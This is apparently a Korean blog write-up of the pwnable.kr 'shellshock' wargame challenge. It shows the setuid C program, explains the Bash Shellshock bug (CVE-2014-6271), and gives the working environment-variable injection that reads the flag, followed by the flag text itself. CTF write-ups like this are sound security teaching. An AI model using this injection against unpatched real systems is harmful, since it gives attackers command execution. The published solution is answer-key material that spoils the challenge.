이번 포스트에서는 Pwnable의 shellshock 문제에 대해 다루겠다.
문제 코드는 다음과 같다.
#include <stdio.h>
int main(){
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
system("/home/shellshock/bash -c 'echo shock_me'");
return 0;
}
## 문제 해석 :
setresuid()와 setresgid()를 통해 user, group ID를 설정하고 bash를 실행하여 "shock_me"가 출력된 것을 알 수 있다.
여기서 해당 문제 이름을 보면 shellshock라고 되어있는데 이는 곧 CVE-2014-6271(Bash Shellshock) 취약점을 연상케 한다.
Bash Shellshock 취약점은 ()로 시작하는 변수가 subshell이 실행되면 {...} 부분, 즉 바디 부분이 함수로 인식되고, 그 이후에 오는 어떠한 커맨드를 실행한다는 특징을 가지고 있다.
## 문제 풀이 :
Bash Shellshock 취약점을 이용하여 우선 아무 환경변수를 선언하고 특정 커맨드를 실행해보겠다.
./bash를 실행해보니 현재 디렉터리의 위치가 출력된다. 즉 /bash를 통해 subprocess를 실행시키는데, 이때 조작된 변수가 초기화되고 그 과정에서 뒤에 있는 "pwd"라는 명령어가 실행됐다는 것이다.
CVE-2014-6271에 관한 더 자세한 내용은 아래의 포스트를 참고하면 된다.
https://operatingsystems.tistory.com/entry/Shellshock-CVE20146271
## 최종 결과 :
### 공격 코드 : env x='() { :; }; /bin/cat flag' ./shellshock
### 실행 결과 :
공격 실행
Flag = only if I knew CVE-2014-6271 ten years ago..!!
'Wargame > Pwnable' 카테고리의 다른 글
Pwnable (12. blackjack) (0) | 2022.07.10 |
---|---|
Pwnable (11. coin1) (0) | 2022.07.09 |
Pwnable (9. mistake) (0) | 2022.07.07 |
Pwnable (8. leg) (0) | 2022.07.06 |
Pwnable (7. input) (0) | 2022.07.05 |